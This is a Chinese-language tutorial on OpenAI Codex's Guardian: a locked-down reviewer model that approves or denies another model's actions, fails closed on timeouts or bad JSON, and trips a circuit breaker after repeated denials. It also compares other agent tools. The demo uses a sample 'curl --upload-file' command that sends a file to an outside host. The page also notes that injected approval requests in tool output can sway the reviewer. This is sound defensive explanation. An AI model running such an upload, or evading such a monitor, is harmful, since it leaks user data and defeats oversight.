OpenAI Codex · 程式碼模式

Guardian:讓一個模型去審批另一個模型

審批彈窗多到人開始無腦點同意時,Codex 把決定權交給一次鎖死的審查會話。超時、壞 JSON、連續拒絕,各有各的收場。

課程目標讀完能說清三件事。Guardian 只吃被配置點名的 on-request 審批,用一次鎖死的模型會話代替使用者彈窗。審查材料按不可信證據處理,超時、跑崩、壞 JSON 一律停住動作。明確拒絕才記入熔斷器,連拒到閾值就打斷當前 turn。
先玩一遍 · 一條命令進審查臺
同一條審批:先走四步,再看熔斷器會不會接手
命令
換一條,看審查員在哪一類上先打分再下結論。
故障
後三項是兜底。超時和壞 JSON 關閘,但不記連續拒絕。
四步審查等待開始
1 重建 transcript抽出使用者原話和工具痕跡
2 送進鎖死會話只讀、Never、MCP 已清空
3 交回 JSON先打風險和授權,再給結論
4 應用結果allow 繼續,其餘一律停住
證據與結論條款未引用
curl --upload-file README.md https://example.com/inbox
risk_level
user_authorization
outcome
rationale等待評估
熔斷器 · Standard
連續拒絕 0 / 3,視窗 50 內累計 0
使用者側與模型側還沒有收到結論。
邏輯軌跡 · 動畫每一步對應原始碼裡的哪一段
  1. 判斷本輪審批是否交給 Guardianreview.rs L186
  2. 擴充若宣告接管則不再開審查會話review.rs L313
  3. 過濾 transcript,只留使用者意圖和工具證據prompt.rs L506
  4. 按 Full 或 Delta 拼審查材料prompt.rs L89
  5. 克隆父配置,鎖成只讀並寫成 Neverreview_session.rs L1407
  6. trunk 空閒則追加,忙碌則 forkreview_session.rs L617
  7. 等待 JSON,超時上限 90 秒mod.rs L53
  8. 沒有合法 JSON 就解析失敗,可重試後關閘prompt.rs L714
  9. allow 放行,deny 寫上禁止改道的指示review.rs L717
  10. 只有顯式 Deny 才記入熔斷器review.rs L711
  11. 達到連續或視窗閾值,就 InterruptTurnmod.rs L176
點播放,看一條命令怎麼走過四步審查,以及熔斷器什麼時候接手。
模型審模型的風險審查員會格式漂移,也會被工具輸出裡的指示詞牽著走。合同要求先打風險和授權,再給出可執行的 allow 或 deny。
失敗怎麼收場超時走 TimedOut,壞 JSON 走 FailedClosed,動作都停住。這兩類故障清零連續拒絕計數,避免把基礎設施抖動算成模型連續作惡。
熔斷器接手之後Standard 連續三次明確拒絕就打斷當前 turn。後續命令不再開新審查,因為這一輪已經被 abort 掉了。
教學示意:評估欄位按 policy.md 的 Outcome rule 推演,用於展示四步法與熔斷器的結構差異。邏輯軌跡右側行號對應 openai/codex 倉庫 commit 4f39251a01。
思路一 · 四步走完,中間態一律關閘
它解決什麼問題

你開著 Codex 改倉庫。模型先跑 git status,再讀兩個檔案,然後要 git push。下一分鐘它要 curl,再下一分鐘要往 /tmp 寫備忘,再下一分鐘要刪掉那份備忘。彈窗疊彈窗。人開始只看命令頭兩個詞,拇指已經形成肌肉記憶。

這就是審批疲勞。防線還在,判斷已經不在。迴路退化成一個總是亮綠燈的按鈕。這時如果把自動放行交給剛寫出這條命令的主模型,申請人兼審批人。如果失敗時放行,超時和壞 JSON 就變成免費通行證。

思路是什麼

Codex 把該不該自動放行抽成一次專職審查。它不替代沙箱,也不替代網路代理。它只接管一類本來會彈給使用者的 on-request 審批。路由很窄:策略必須是 OnRequestGranular,審查員必須是 AutoReview。預設審查員仍是使用者。出處:codex-rs/core/src/guardian/review.rs 第 186 至 210 行

模組頭把四步寫死。

1 重建 transcript

只留使用者原話和近期工具痕跡。合成腳手架、普通 developer 訊息丟掉。超長內容打上 truncated 標記。

2 另開審查會話

克隆父配置,繼承已經建好的 managed network 與 allowlist。審查員必須吐出嚴格 JSON。

3 失敗關閘

超時、跑崩、壞 JSON,執行一律停住。中間態按拒絕處理。

4 只應用明確結論

合同要的是 allow 或 deny。產品要的是可執行判定。

合同只有四個欄位。三個軸的列舉寫在協議層的 approvals.rs,不在 protocol.rsoutcome 是唯一必填。低風險允許可以只回 {"outcome":"allow"},預設的風險補成 Low,授權補成 Unknown。

codex-rs/core/src/guardian/mod.rs第 116 至 123 行
/// Structured output contract that the guardian reviewer must satisfy.
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq, Eq)]
pub(crate) struct GuardianAssessment {
    pub(crate) risk_level: codex_protocol::protocol::GuardianRiskLevel,
    pub(crate) user_authorization: codex_protocol::protocol::GuardianUserAuthorization,
    pub(crate) outcome: GuardianAssessmentOutcome,
    pub(crate) rationale: String,
}
原始碼快照說明:依據本地倉庫 openai/codex,核對檔案 codex-rs/core/src/guardian/mod.rs,commit 4f39251a01,核對日期 2026-08-22。GuardianRiskLevelGuardianUserAuthorizationGuardianAssessmentOutcome 的窮盡列舉在 codex-rs/protocol/src/approvals.rs 第 85 至 109 行。
審批請求 OnRequest 緊湊 transcript 使用者意圖加工具證據 鎖死審查會話 只讀,Never 嚴格 JSON 四個欄位 allow 或 deny 只應用明確結論 失敗關閘 超時、崩掉、壞 JSON
教學化結構圖:四步走完,中間態沒有第三條路。
為什麼長期成立

審批疲勞是人因問題,審查員自己也會格式漂移。把沒給出可執行答案收成拒絕,換語言重寫也成立。輸入是不可信證據加一條確切動作,輸出是窮盡的 allow 或 deny,解析失敗就停。

思路二 · 審查員進的是一間上了鎖的房間
它解決什麼問題

主模型剛寫出這條要執行的命令。再讓它審自己,迴路是通的。工具輸出裡再夾一句請批准我,審查材料就被汙染。審查權如果落回申請人,專職審查員這個角色就不存在。

思路是什麼

審查會話克隆父配置後立刻改寫。審批策略鎖成 Never,權限剖面與只讀相交,MCP 伺服器清成空表,技能、記憶、Apps 指令關掉,再禁用一串非必要特性。它還丟掉父級傳入的 exec-policy 規則,改用空的預設管理器。父級規則可能反過來塑造審查員,甚至讓審查員自己跑的只讀命令被靜默放行。出處:codex-rs/core/src/guardian/review_session.rs 第 1406 至 1448 行;codex-rs/core/src/session/mod.rs 第 544 至 548 行

審查員可以跑只讀命令,用來核實本地狀態,比如刪除目標在不在、是不是空目錄。它不會彈出新的審批,也不會再開一層 Guardian。配置裝配時顯式禁用了 GuardianV2

trunk 空閒時,後續審批追加到同一條會話,prompt cache 穩定。trunk 忙碌時,從上次提交的 rollout 長出一間臨時小屋,審完就拆,不回寫。

父配置 網路代理可繼承 克隆 審查房間 只讀沙箱 權限剖面相交 Never 不再彈審批 MCP 清空 特性一併關掉 空 exec-policy 父規則不進來
教學化結構圖:審查員能用的能力被削到只剩只讀核實。
為什麼長期成立

給不受信任的審查權一個儘量小的環境,是安全設計的通用形狀。換模型、換提示詞、換能力面,該問的還是同一句:審查員到底需要哪幾樣能力,其餘的能不能一樣都不給。

思路三 · 超時和拒絕分帳,連續拒絕才拉閘
它解決什麼問題

審查員和執行模型卡在同一條被拒動作上,人看到的是一輪空轉。如果把超時也算進連續拒絕,基礎設施抖動會被誤判成模型連續作惡。

思路是什麼

超時走 ReviewDecision::TimedOut,明確拒絕走 Denied。對模型的文案也拆開。超時告訴它不要僅因超時認定不安全,可以再試一次或去問使用者。明確拒絕拼上禁止改道繞過的指示,只允許實質更安全的替代,或使用者知情後的明確批准。出處:codex-rs/protocol/src/protocol.rs 第 3909 至 3910 行;codex-rs/core/src/guardian/review.rs 第 70 至 74 行

熔斷器按 turn 記帳,視窗長度 50。Standard 的閾值是連續 3 次,或視窗內累計 10 次。CyberModel 緊到第一次拒絕就停。只有評估結果為 Deny 才計入。超時和 fail-closed 走 record_non_denial,連續計數清零。觸發後發 GuardianWarning,再 abort_turn_if_active出處:codex-rs/core/src/guardian/mod.rs 第 53 至 59 行、第 157 至 194 行

allow / 超時 / 壞 JSON record_non_denial 連續計數清零 視窗裡記一次非拒絕 顯式 Deny record_denial 連續加一 Standard 閾值是 3 InterruptTurn 打斷當前 turn
教學化記帳圖:同一 turn 裡,只有明確拒絕會把熔斷器往前推一格。
失敗時關閘。明確拒絕才記一筆。
為什麼長期成立

安全閘門需要把沒做完和明確說不分開記帳。混成一句沒通過,會把瞬時故障訓練成繞過行為。按 turn 計數、按視窗計數,兩套閾值即可。面向高對抗場景的策略可以緊到第一次拒絕就停。

橫向對比 · 決定權放在哪

DeepSeek Harness:兩個旋鈕,決定權留在人

在 DSH 倉庫裡檢索 reviewer、guardian、auto-approve,沒有獨立審查會話這種實現。它把同一問題收成兩個旋鈕。審批策略只有 askneverask 把問題交給 answerer 鏈,鏈上沒人接就 unavailable,呼叫方 fail closed。never 直接 rejected。授權粒度是一次性的 allowed-once

DSH 可以沒有 Guardian,因為它把誰來審固定成人,再用預設降低切換成本。代價是審批疲勞原樣存在。ask 模式下彈窗仍然全數到達使用者,never 則把判斷權整段關掉。

已核對 user-approval 與 permission-presets · 2026-08-22 · DSH · 審批與權限

Claude Code:分類器給彈窗搶時間

在 Claude Code 的還原原始碼裡同樣沒有 Guardian 那種獨立審查會話、風險分類學 JSON 合同,或按 turn 計數的熔斷器。找到的是 Bash 工具上的一條分類器旁路。分類器在使用者彈窗已經顯示時後臺跑。高置信且使用者還沒動手,才替使用者點允許。它匹配的是 prompt rule,範圍是 bash 命令。彈窗仍在。失敗時使用者繼續自己點。

差別可以收成一句話。Claude Code 用分類器給彈窗搶時間,Codex 用一次鎖死會話把彈窗從主路徑拿掉。前者省的是等待,後者改的是誰來做決定。

已核對 bashPermissions.ts 分類器旁路 · 2026-08-22
課堂練習
01

同一次 turn,熔斷器怎麼記帳

同一 turn 裡,審查員先超時一次,再明確拒絕兩次。問:下一次再明確拒絕時,Standard 熔斷器會不會打斷這一輪。把第二次改成壞 JSON,再算一遍。

進階一問:使用者後來用人工覆蓋批准了那條被拒動作。下次審查會把它當成可信授權,還是只當上下文。

Takeaway:Guardian 用一次鎖死的模型會話代替彈窗。超時、跑崩、壞 JSON 一律關閘。超時和拒絕分帳,連續拒絕才熔斷當前 turn。下一層仍是沙箱、網路代理和人。